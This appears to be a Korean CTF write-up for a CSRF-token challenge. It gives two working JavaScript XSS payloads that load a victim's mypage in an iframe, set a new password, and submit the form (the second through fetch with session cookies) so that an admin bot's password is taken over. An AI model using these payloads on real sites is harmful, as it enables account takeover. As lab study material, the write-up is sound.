1, 2번과 동일한 문제


1. 비밀번호 변경 요청 확인

요청을 확인해보니 csrf token이라는 것이 추가 되었다.

 

2. XSS를 이용한 CSRF 공격

 2-1) iframe이 onload 될 함수정의

 2-2) iframe의 src를 마이페이지로 지정

 2-3) iframe이 모두 로드 되면 비밀번호 input tag에 value를 124로 지정

 2-4) iframe의 업데이트 버튼 클릭하도록 target.contentDocument.getElementById('signup-btnl').click() 추가

<script>
delete window.alert

var errorFunction = function() {
	var target = document.getElementById('myframe')
	delete target.contentWindow.alert 

	console.log(target)
	target.contentDocument.getElementsByName('pw')[0].value = 124
	console.log(target.contentDocument.getElementsByName('pw')[0].value)
	//document.getElementById('token_input').value = token
	target.contentDocument.getElementById('signup-btnl').click()
	this.src=''
}
</script>

<iframe onload='errorFunction()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T"  id="myframe"></iframe>

 

3. 비밀번호 변경 확인

 

4. 관리자 봇으로 해당 url 전달

 alert이 발생하여서 실패.....


2. XSS를 이용한 CSRF 공격(다시)

 2-1) iframe에서 클릭하면 alert이 발생 하기 때문에 fetch를 통해 요청(html 랜더링 안해서)

 2-2) iframe에서 form데이터 받아와서 formData 구성

 2-3) 로그인 정보를 session에서 가져오기 때문에 credentioals : 'include'를 사용하여 세션아이디를 포함한 쿠키를 전달.

<script>

var sendForm = function() {

	var target = document.getElementById('myframe')
	target.contentDocument.getElementsByName('pw')[0].value = 111
	var form = target.contentDocument.getElementsByTagName('form')[0]
	var url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php'
	var formData = new FormData(form)

	for (var pair of formData.entries()) {
		    console.log(pair[0] + ': ' + pair[1]);
		}
	console.log(form)
	console.log(formData)
	
	console.log(target)

	fetch(url, {
    method: "POST",
		credentials: 'include',
    body: formData
  })
  .then(data => {
    // 성공적으로 응답을 받았을 때의 처리
    console.log()
	return data.text()
  })
.then(html => {
	console.log(html)
})
  .catch(error => {
    // 에러 처리
    console.error('Error:', error);
  });
}
</script>

<iframe onload='sendForm()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T"  id="myframe"></iframe>

3. 비밀번호 변경 확인

 

4. 관리자 봇에게 접근하도록 요청

 

5. 관리자 계정으로 로그인

+ Recent posts